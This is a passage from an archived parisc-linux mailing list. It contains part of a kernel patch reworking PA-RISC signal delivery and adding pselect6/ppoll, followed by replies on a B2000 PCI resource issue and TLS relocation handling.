 	       current->comm, current->pid, frame, regs->gr[30],
 	       regs->iaoq[0], regs->iaoq[1], rp);
 
-	return 1;
+	return 0;
 
 give_sigsegv:
 	DBG(1,"setup_rt_frame: sending SIGSEGV\n");
 	force_sigsegv(sig, current);
-	return 0;
+	return -EFAULT;
 }
 
 /*
@@ -499,22 +454,97 @@ give_sigsegv:
 
 static long
 handle_signal(unsigned long sig, siginfo_t *info, struct k_sigaction *ka,
-		sigset_t *oldset, struct pt_regs *regs, int in_syscall)
+	      sigset_t *oldset, struct pt_regs *regs, int in_syscall)
 {
+	int ret;
+	unsigned long flags;
+
 	DBG(1,"handle_signal: sig=%ld, ka=%p, info=%p, oldset=%p, regs=%p\n",
 	       sig, ka, info, oldset, regs);
+
+	/* Restart a system call if necessary. */
+	if (in_syscall) {
+		/* Check the return code */
+		switch (regs->gr[28]) {
+		case -ERESTART_RESTARTBLOCK:
+			current_thread_info()->restart_block.fn = do_no_restart_syscall;
+		case -ERESTARTNOHAND:
+			DBG(1,"ERESTARTNOHAND: returning -EINTR\n");
+			regs->gr[28] = -EINTR;
+			break;
+
+		case -ERESTARTSYS:
+			if (!(ka->sa.sa_flags & SA_RESTART)) {
+				DBG(1,"ERESTARTSYS: putting -EINTR\n");
+				regs->gr[28] = -EINTR;
+				break;
+			}
+			/* fallthrough */
+		case -ERESTARTNOINTR:
+			/* A syscall is just a branch, so all
+			   we have to do is fiddle the return pointer. */
+			regs->gr[31] -= 8; /* delayed branching */
+			/* Preserve original r28. */
+			regs->gr[28] = regs->orig_r28;
+			break;
+		}
+	}
 	
 	/* Set up the stack frame */
-	if (!setup_rt_frame(sig, ka, info, oldset, regs, in_syscall))
-		return 0;
+	ret = setup_rt_frame(sig, ka, info, oldset, regs, in_syscall);
 
-	spin_lock_irq(&current->sighand->siglock);
-	sigorsets(&current->blocked,&current->blocked,&ka->sa.sa_mask);
-	if (!(ka->sa.sa_flags & SA_NODEFER))
-		sigaddset(&current->blocked,sig);
-	recalc_sigpending();
-	spin_unlock_irq(&current->sighand->siglock);
-	return 1;
+	if (ret == 0) {
+		spin_lock_irqsave(&current->sighand->siglock, flags);
+		sigorsets(&current->blocked, &current->blocked, &ka->sa.sa_mask);
+		if (!(ka->sa.sa_flags & SA_NODEFER))
+			sigaddset(&current->blocked,sig);
+		recalc_sigpending();
+		spin_unlock_irqrestore(&current->sighand->siglock, flags);
+	}
+
+	return ret;
+}
+
+/* Setup a trampoline to restart the syscall
+ * with __NR_restart_syscall
+ *
+ *  0: <return address (orig r31)>
+ *  4: <2nd half for 64-bit>
+ *  8: ldw 0(%sp), %r31
+ * 12: be 0x100(%sr2, %r0)
+ * 16: ldi __NR_restart_syscall, %r20
+ */
+static void setup_restart_syscall_tramp(struct pt_regs *regs)
+{
+	unsigned int *usp = (unsigned int *)regs->gr[30];
+
+#ifdef CONFIG_64BIT
+	put_user(regs->gr[31] >> 32, &usp[0]);
+	put_user(regs->gr[31] & 0xffffffff, &usp[1]);
+	put_user(0x0fc010df, &usp[2]);
+#else
+	put_user(regs->gr[31], &usp[0]);
+	put_user(0x0fc0109f, &usp[2]);
+#endif
+	put_user(0xe0008200, &usp[3]);
+	put_user(0x34140000, &usp[4]);
+
+	/* Stack is 64-byte aligned, and we only need
+	 * to flush 1 cache line.
+	 * Flushing one cacheline is cheap.
+	 * "sync" on bigger (> 4 way) boxes is not.
+	 */
+	asm("fdc %%r0(%%sr3, %0)\n"
+	    "sync\n"
+	    "fic %%r0(%%sr3, %0)\n"
+	    "sync\n"
+	    : : "r"(regs->gr[30]));
+
+	regs->gr[31] = regs->gr[30] + 8;
+	/* Preserve original r28. */
+	regs->gr[28] = regs->orig_r28;
+
+	return;
 }
 
 /*
@@ -529,130 +559,91 @@ handle_signal(unsigned long sig, siginfo
  * us due to the magic of delayed branching.
  */
 
-asmlinkage int
-do_signal(sigset_t *oldset, struct pt_regs *regs, int in_syscall)
+static void
+parisc_do_signal(struct pt_regs *regs, int in_syscall)
 {
 	siginfo_t info;
+	sigset_t *oldset;
 	struct k_sigaction ka;
 	int signr;
 
 	DBG(1,"\ndo_signal: oldset=0x%p, regs=0x%p, sr7 %#lx, in_syscall=%d\n",
 	       oldset, regs, regs->sr[7], in_syscall);
 
-	/* Everyone else checks to see if they are in kernel mode at
-	   this point and exits if that's the case.  I'm not sure why
-	   we would be called in that case, but for some reason we
-	   are. */
+	if (!user_mode(regs))
+		return;
 
-	if (!oldset)
+	if (test_thread_flag(TIF_RESTORE_SIGMASK))
+		oldset = &current->saved_sigmask;
+	else
 		oldset = &current->blocked;
 
 	DBG(1,"do_signal: oldset %08lx / %08lx\n", 
 		oldset->sig[0], oldset->sig[1]);
 
-
 	/* May need to force signal if handle_signal failed to deliver */
-	while (1) {
-	  
-		signr = get_signal_to_deliver(&info, &ka, regs, NULL);
-		DBG(3,"do_signal: signr = %d, regs->gr[28] = %ld\n", signr, regs->gr[28]); 
+	signr = get_signal_to_deliver(&info, &ka, regs, NULL);
+	DBG(3,"do_signal: signr = %d, regs->gr[28] = %ld\n", signr, regs->gr[28]); 
 	
-		if (signr <= 0)
-		  break;
-		
-		/* Restart a system call if necessary. */
-		if (in_syscall) {
-			/* Check the return code */
-			switch (regs->gr[28]) {
-		        case -ERESTART_RESTARTBLOCK:
-				current_thread_info()->restart_block.fn = do_no_restart_syscall;
-			case -ERESTARTNOHAND:
-				DBG(1,"ERESTARTNOHAND: returning -EINTR\n");
-				regs->gr[28] = -EINTR;
-				break;
-
-			case -ERESTARTSYS:
-				if (!(ka.sa.sa_flags & SA_RESTART)) {
-					DBG(1,"ERESTARTSYS: putting -EINTR\n");
-					regs->gr[28] = -EINTR;
-					break;
-				}
-			/* fallthrough */
-			case -ERESTARTNOINTR:
-				/* A syscall is just a branch, so all
-				   we have to do is fiddle the return pointer. */
-				regs->gr[31] -= 8; /* delayed branching */
-				/* Preserve original r28. */
-				regs->gr[28] = regs->orig_r28;
-				break;
-			}
-		}
+	if (signr > 0) {
 		/* Whee!  Actually deliver the signal.  If the
-		   delivery failed, we need to continue to iterate in
-		   this loop so we can deliver the SIGSEGV... */
-		if (handle_signal(signr, &info, &ka, oldset, regs, in_syscall)) {
+		 * delivery failed, we need to continue to iterate in
+		 * this loop so we can deliver the SIGSEGV...
+		 */
+		if (handle_signal(signr, &info, &ka, oldset, regs, in_syscall) == 0) {
 			DBG(1,KERN_DEBUG "do_signal: Exit (success), regs->gr[28] = %ld\n",
-				regs->gr[28]);
-			return 1;
+			    regs->gr[28]);
+			if (test_thread_flag(TIF_RESTORE_SIGMASK))
+				clear_thread_flag(TIF_RESTORE_SIGMASK);
+			return;
 		}
 	}
-	/* end of while(1) looping forever if we can't force a signal */
 
 	/* Did we come from a system call? */
 	if (in_syscall) {
 		/* Restart the system call - no handlers present */
-		if (regs->gr[28] == -ERESTART_RESTARTBLOCK) {
-			unsigned int *usp = (unsigned int *)regs->gr[30];
-
-			/* Setup a trampoline to restart the syscall
-			 * with __NR_restart_syscall
-			 *
-			 *  0: <return address (orig r31)>
-			 *  4: <2nd half for 64-bit>
-			 *  8: ldw 0(%sp), %r31
-			 * 12: be 0x100(%sr2, %r0)
-			 * 16: ldi __NR_restart_syscall, %r20
-			 */
-#ifndef __LP64__
-			put_user(regs->gr[31], &usp[0]);
-			put_user(0x0fc0109f, &usp[2]);
-#else
-			put_user(regs->gr[31] >> 32, &usp[0]);
-			put_user(regs->gr[31] & 0xffffffff, &usp[1]);
-			put_user(0x0fc010df, &usp[2]);
-#endif
-			put_user(0xe0008200, &usp[3]);
-			put_user(0x34140000, &usp[4]);
-
-			/* Stack is 64-byte aligned, and we only need
-			 * to flush 1 cache line.
-			 * Flushing one cacheline is cheap.
-			 * "sync" on bigger (> 4 way) boxes is not.
+		switch(regs->gr[28]) {
+		case -ERESTART_RESTARTBLOCK:
+			/* Install the restart syscall trampoline on the
+			 * userspace stack.
 			 */
-			asm("fdc %%r0(%%sr3, %0)\n"
-			    "sync\n"
-			    "fic %%r0(%%sr3, %0)\n"
-			    "sync\n"
-			    : : "r"(regs->gr[30]));
-
-			regs->gr[31] = regs->gr[30] + 8;
-			/* Preserve original r28. */
-			regs->gr[28] = regs->orig_r28;
-		} else if (regs->gr[28] == -ERESTARTNOHAND ||
-		           regs->gr[28] == -ERESTARTSYS ||
-		           regs->gr[28] == -ERESTARTNOINTR) {
+			setup_restart_syscall_tramp(regs);
+			break;
+		case -ERESTARTNOHAND:
+		case -ERESTARTSYS:
+		case -ERESTARTNOINTR:
 			/* Hooray for delayed branching.  We don't
-                           have to restore %r20 (the system call
-                           number) because it gets loaded in the delay
-                           slot of the branch external instruction. */
+			 * have to restore %r20 (the system call
+			 * number) because it gets loaded in the delay
+			 * slot of the branch external instruction.
+			 */
 			regs->gr[31] -= 8;
 			/* Preserve original r28. */
 			regs->gr[28] = regs->orig_r28;
+			break;
 		}
 	}
 	
 	DBG(1,"do_signal: Exit (not delivered), regs->gr[28] = %ld\n", 
 		regs->gr[28]);
 
-	return 0;
+	/* If there's no signal to deliver, we just put the saved
+	 * sigmask back.
+	 */
+	if (test_thread_flag(TIF_RESTORE_SIGMASK)) {
+		clear_thread_flag(TIF_RESTORE_SIGMASK);
+		sigprocmask(SIG_SETMASK, &current->saved_sigmask, NULL);
+	}
+
+	return;
+}
+
+void do_notify_resume(struct pt_regs *regs, int in_syscall)
+{
+	/* Hooks go here. */
+	if (test_thread_flag(TIF_SIGPENDING) ||
+	    test_thread_flag(TIF_RESTORE_SIGMASK))
+		parisc_do_signal(regs, in_syscall);
+
+	return;
 }
diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
index bbeeb61..5744506 100644
--- a/arch/parisc/kernel/syscall_table.S
+++ b/arch/parisc/kernel/syscall_table.S
@@ -283,7 +283,7 @@
 	 * struct from a 32-bit user-space app.
 	 */
 	ENTRY_SAME(rt_sigqueueinfo)
-	ENTRY_SAME(rt_sigsuspend_wrapper) /* not really SAME -- see the code */
+	ENTRY_COMP(rt_sigsuspend)
 	ENTRY_SAME(chown)		/* 180 */
 	/* setsockopt() used by iptables: SO_SET_REPLACE/SO_SET_ADD_COUNTERS */
 	ENTRY_COMP(setsockopt)
@@ -377,8 +377,8 @@
 	ENTRY_SAME(inotify_init)
 	ENTRY_SAME(inotify_add_watch)	/* 270 */
 	ENTRY_SAME(inotify_rm_watch)
-	ENTRY_SAME(ni_syscall)		/* 271 ENTRY_COMP(pselect6) */
-	ENTRY_SAME(ni_syscall)		/* 272 ENTRY_COMP(ppoll) */
+	ENTRY_COMP(pselect6)
+	ENTRY_COMP(ppoll)
 	ENTRY_SAME(migrate_pages)
 	ENTRY_COMP(openat)		/* 275 */
 	ENTRY_SAME(mkdirat)
diff --git a/include/asm-parisc/assembly.h b/include/asm-parisc/assembly.h
index 3ce3440..00e387c 100644
--- a/include/asm-parisc/assembly.h
+++ b/include/asm-parisc/assembly.h
@@ -30,6 +30,7 @@
 #define LDREGM	ldd,mb
 #define STREGM	std,ma
 #define SHRREG  shrd
+#define SHLREG	shld
 #define RP_OFFSET	16
 #define FRAME_SIZE	128
 #define CALLEE_REG_FRAME_SIZE	144
@@ -39,7 +40,8 @@
 #define LDREGX  ldwx,s
 #define LDREGM	ldwm
 #define STREGM	stwm
-#define SHRREG  shr
+#define SHRREG  shrw
+#define SHLREG	shld
 #define RP_OFFSET	20
 #define FRAME_SIZE	64
 #define CALLEE_REG_FRAME_SIZE	128
diff --git a/include/asm-parisc/compat.h b/include/asm-parisc/compat.h
index 289624d..cea3c35 100644
--- a/include/asm-parisc/compat.h
+++ b/include/asm-parisc/compat.h
@@ -5,6 +5,7 @@
  */
 #include <linux/types.h>
 #include <linux/sched.h>
+#include <linux/personality.h>
 
 #define COMPAT_USER_HZ 100
 
@@ -149,4 +150,19 @@ static __inline__ void __user *compat_al
 	return (void __user *)regs->gr[30];
 }
 
+static inline int __is_compat_task(struct task_struct *t)
+{
+	return (personality(t->personality) == PER_LINUX32);
+}
+
+static inline int __is_native_task(struct task_struct *t)
+{
+	return (personality(t->personality) == PER_LINUX);
+}
+
+static inline int is_compat_task(void)
+{
+	return __is_compat_task(current);
+}
+
 #endif /* _ASM_PARISC_COMPAT_H */
diff --git a/include/asm-parisc/thread_info.h b/include/asm-parisc/thread_info.h
index f2f83b0..5ae7b38 100644
--- a/include/asm-parisc/thread_info.h
+++ b/include/asm-parisc/thread_info.h
@@ -62,6 +62,7 @@ struct thread_info {
 #define TIF_POLLING_NRFLAG	4	/* true if poll_idle() is polling TIF_NEED_RESCHED */
 #define TIF_32BIT               5       /* 32 bit binary */
 #define TIF_MEMDIE		6
+#define TIF_RESTORE_SIGMASK	7	/* restore signal mask in do_signal() */
 
 #define _TIF_SYSCALL_TRACE	(1 << TIF_SYSCALL_TRACE)
 #define _TIF_NOTIFY_RESUME	(1 << TIF_NOTIFY_RESUME)
@@ -69,9 +70,10 @@ struct thread_info {
 #define _TIF_NEED_RESCHED	(1 << TIF_NEED_RESCHED)
 #define _TIF_POLLING_NRFLAG	(1 << TIF_POLLING_NRFLAG)
 #define _TIF_32BIT		(1 << TIF_32BIT)
+#define _TIF_RESTORE_SIGMASK	(1 << TIF_RESTORE_SIGMASK)
 
 #define _TIF_USER_WORK_MASK     (_TIF_NOTIFY_RESUME | _TIF_SIGPENDING | \
-                                 _TIF_NEED_RESCHED)
+                                 _TIF_NEED_RESCHED | _TIF_RESTORE_SIGMASK)
 
 #endif /* __KERNEL__ */
 
diff --git a/include/asm-parisc/unistd.h b/include/asm-parisc/unistd.h
index c56fccb..452e9cb 100644
--- a/include/asm-parisc/unistd.h
+++ b/include/asm-parisc/unistd.h
@@ -950,6 +950,8 @@ type name(type1 arg1, type2 arg2, type3 
 #define __ARCH_WANT_SYS_SIGPENDING
 #define __ARCH_WANT_SYS_SIGPROCMASK
 #define __ARCH_WANT_SYS_RT_SIGACTION
+#define __ARCH_WANT_SYS_RT_SIGSUSPEND
+#define __ARCH_WANT_COMPAT_SYS_RT_SIGSUSPEND
 #endif
 
 /* mmap & mmap2 take 6 arguments */
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Marc Zyngier <maz@misterjones.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B2000 PCI resource problem
Date: Mon, 10 Apr 2006 09:57:26 +0200
Organization: Metropolis -- Nowhere
Lines: 53
Approved: news@gmane.org
Message-ID: <wrpbqv9982h.fsf@wild-wind.fr.eu.org>
References: <wrp7j62jz7e.fsf@wild-wind.fr.eu.org>
	<20060410023456.GA25141@colo.lackof.org>
Reply-To: maz@misterjones.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624050 18889 80.91.229.3 (22 Nov 2014 02:40:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Apr 2006 07:57:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx019) with SMTP; 10 Apr 2006 09:57:39 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 358917D67B;
	Mon, 10 Apr 2006 01:57:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17921-08; Mon, 10 Apr 2006 01:57:36 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A42147D691;
	Mon, 10 Apr 2006 01:57:34 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CF18A7D67B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 10 Apr 2006 01:57:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17921-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 10 Apr 2006 01:57:31 -0600 (MDT)
Original-Received: from young-lust.wild-wind.fr.eu.org (lopsy-lu.misterjones.org
	[62.4.18.26]) by free.linux.hp.com (Postfix) with ESMTP id 9FCE87D664
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 10 Apr 2006 01:57:30 -0600 (MDT)
Original-Received: from hina.wild-wind.fr.eu.org ([192.168.70.139] helo=hina)
	by young-lust.wild-wind.fr.eu.org with esmtpsa
	(TLS-1.0:RSA_AES_256_CBC_SHA:32) (Exim 4.50)
	id 1FSrH5-0005BN-MK; Mon, 10 Apr 2006 09:57:27 +0200
Original-Received: from maz by hina with local (Exim 4.60)
	(envelope-from <maz@misterjones.org>)
	id 1FSrH4-0001pS-RC; Mon, 10 Apr 2006 09:57:26 +0200
X-Attribution: maz
In-Reply-To: <20060410023456.GA25141@colo.lackof.org> (Grant Grundler's
	message of "Sun, 9 Apr 2006 20:34:56 -0600")
Original-Lines: 47
X-SA-Exim-Connect-IP: 192.168.70.139
X-SA-Exim-Rcpt-To: grundler@parisc-linux.org,
	parisc-linux@lists.parisc-linux.org
X-SA-Exim-Mail-From: maz@misterjones.org
X-SA-Exim-Scanned: No (on young-lust.wild-wind.fr.eu.org);
	SAEximRunCond expanded to false
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: zDgPcGcFTiEtoqyUaGRwenF1ZUVSRJfm
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23560

>>>>> "Grant" == Grant Grundler <grundler@parisc-linux.org> writes:

Grant,

>> PCI: resource not parented! [2000-2fff]
>> PCI: resource not parented! [fb000000-fb5fffff]

Grant> Which kernel version?

Sorry. This is 2.6.17-rc1-pa1, but I saw this problem with 2.6.16 and
late 2.6.15-rc* as well.

Grant> Wow! 2M? That's a fair chunk of space for a NIC.  Any special
Grant> about that RAM or what it's used for?  (Just curious)

Cassini looks like ad odd beast. RAM seems to be used at least to
download filters to the card, so the NIC can parse complete packets
and do a lot of ugly things, none of them being supported on Linux at
the moment (and probably won't ever). Have a look at
driver/net/cassini.[ch] if you really want to know... ;-)

>> 0000:02:02.0 SCSI storage controller: LSI Logic / Symbios Logic 53C896/897 (rev 07)
Grant> ...
>> Region 0: I/O ports at 12100 [size=256]
>> Region 1: Memory at fb405000 (64-bit, non-prefetchable) [size=1K]
>> Region 3: Memory at fb402000 (64-bit, non-prefetchable) [size=8K]

Grant> Is CONFIG_SCSI_SYM53C8XX_MMIO enabled in your kernel?
Grant> (again just curious)

Indeed:

maz@ashes:~$ zgrep SYM53C8XX /proc/config.gz
CONFIG_SCSI_SYM53C8XX_2=y
CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=1
CONFIG_SCSI_SYM53C8XX_DEFAULT_TAGS=16
CONFIG_SCSI_SYM53C8XX_MAX_TAGS=64
CONFIG_SCSI_SYM53C8XX_MMIO=y

If there's anything you want me to test, feel free to ask. This is an
expandable box, and I can reboot it remotely.

Thanks,

	M.
-- 
And if you don't know where you're going, any road will take you there...
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Q: TLS local dynamic case and zero initialized
	ti_offset?
Date: Mon, 10 Apr 2006 07:40:49 +0800
Lines: 20
Approved: news@gmane.org
Message-ID: <44399B81.6070207@tausq.org>
References: <119aab440604081516v7613ab2and79c35d084e83cba@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624050 18892 80.91.229.3 (22 Nov 2014 02:40:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:50 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Apr 2006 23:41:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx084) with SMTP; 10 Apr 2006 01:41:21 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AE9037D660;
	Sun,  9 Apr 2006 17:41:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14589-08; Sun, 9 Apr 2006 17:41:16 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E97DE7D661;
	Sun,  9 Apr 2006 17:41:15 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3BA817D65C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  9 Apr 2006 17:41:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14815-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 9 Apr 2006 17:41:10 -0600 (MDT)
Original-Received: from mailhub.stlglobal.com (ip127.bb146.pacific.net.hk
	[202.64.146.127])
	by free.linux.hp.com (Postfix) with ESMTP id 3E1D47D65B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  9 Apr 2006 17:41:10 -0600 (MDT)
Original-Received: from localhost ([127.0.0.1])
	by mailhub.stlglobal.com with esmtp (Exim 4.50)
	id 1FSjWT-0003yx-KT; Mon, 10 Apr 2006 07:40:49 +0800
User-Agent: Debian Thunderbird 1.0.2 (X11/20051002)
X-Accept-Language: en-us, en
In-Reply-To: <119aab440604081516v7613ab2and79c35d084e83cba@mail.gmail.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: lqMMcBkDRkkei6uPfGRqamFmdWkvKJPj
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23561

> In the local dynamic case we emit one reloc R_PARISC_TLS_DTPMOD32.
> This means that at runtime there is a GOT entry with an absoluate
> address which points to a tls_index structure, which has it's
> ti_module filled by the dynamic loader (after processing the DTPMOD32
> reloc). The question I have is, does this tls_index appear in bss? Is
> the offset ti_offset initialized to zero? The zero offset is required
> since we want __tls_get_addr to return the start of the modules block,
> so we can subsequently offset into that block without calling
> __tls_get_addr again.

In the LD case, the tls_index structure is inside the GOT. The GOT is 
zeroed by ld when it is created.

randolph
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] pselect/ppoll support
Date: Sun, 9 Apr 2006 22:06:03 -0400
Lines: 140
Approved: news@gmane.org
Message-ID: <119aab440604091906m19b9bf33yfd9e8b1cbff22844@mail.gmail.com>
References: <20060409182521.GA27661@quicksilver.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624050 18895 80.91.229.3 (22 Nov 2014 02:40:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Kyle McMartin" <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Apr 2006 02:06:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx034) with SMTP; 10 Apr 2006 04:06:13 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 213997D685;
	Sun,  9 Apr 2006 20:06:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15943-01; Sun, 9 Apr 2006 20:06:09 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0D1117D67B;
	Sun,  9 Apr 2006 20:06:08 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 004FD7D66F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  9 Apr 2006 20:06:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15723-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 9 Apr 2006 20:06:05 -0600 (MDT)
Original-Received: from zproxy.gmail.com (zproxy.gmail.com [64.233.162.206])
	by free.linux.hp.com (Postfix) with ESMTP id 125B07D666
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  9 Apr 2006 20:06:05 -0600 (MDT)
